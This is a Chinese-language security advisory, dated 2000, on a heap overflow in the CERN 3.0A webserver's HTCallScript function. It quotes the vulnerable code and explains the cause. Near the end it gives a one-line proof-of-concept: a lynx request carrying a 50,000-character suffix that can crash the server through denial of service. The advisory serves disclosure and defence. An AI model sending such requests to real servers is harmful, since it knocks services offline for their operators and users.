CERN 3.0A heap溢出漏洞导致拒绝服务攻击
发布日期:2000-08-24
更新日期:2000-08-24
受影响系统:
CERN webserver version 3.0A
- Linux系统
- 常用Unix系统
描述:
在CERN/3.0A Webserver中存在一个heap溢出问题,可能耗费大量内存并导致拒绝服务攻击。
问题出在:Daemon/Implememtation/HTScript.c中的
PUBLIC int HTCallScript ARGS1(HTRequest *, req)函数:
....
else { /* Try replacing unknown suffix with .pp */
char *test = (char*)malloc(strlen(HTReqScript) + 4);
char *s;
CTRACE(stderr, "Trying...... to find executable by appending pp\n");
strcpy(test, HTReqScript);
s = strrchr(test, '.');
strcat(test, ".pp"); /* Try appending .pp */
CTRACE(stderr, "Trying...... \"%s\"\n", test);
if (-1==access(test, X_OK)) { /* Then try replacing suffix with pp */
if (s) {
*s = 0;
strcat(s, ".pp");
CTRACE(stderr, "Bad luck.... now trying \"%s\"\n", test);
if (-1==access(test, X_OK)) { /* INVALID */
if (!(msg = (char*)malloc(3*strlen(test) + 100)))
outofmem(__FILE__, "HTCallScript");
sprintf(msg,
"Bad script request -- none of '%s' and '%s.pp' is executable",
HTReqScript, test );
free(test);
如果HTReqScript中已经包含后缀,程序会用".pp"替代test中的后缀,并且使用一个动态分配
的msg缓冲区来保存错误信息,但是,如果HTReqScript的后缀长度很大的话,msg就不能容纳
这么多的内容,因此会发生溢出,并导致占用大量内存,可能造成拒绝服务攻击。
<*来源: Scrippie (
ronald@grafix.nl) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
重复提交这样的链接,可能使cern 3.0A webserver停止响应:
# lynx http://www.victim.com/cgi-bin/A.`perl -e 'print"A" x 50000'`
建议:
暂无
浏览次数:6775
严重程度:0(网友投票)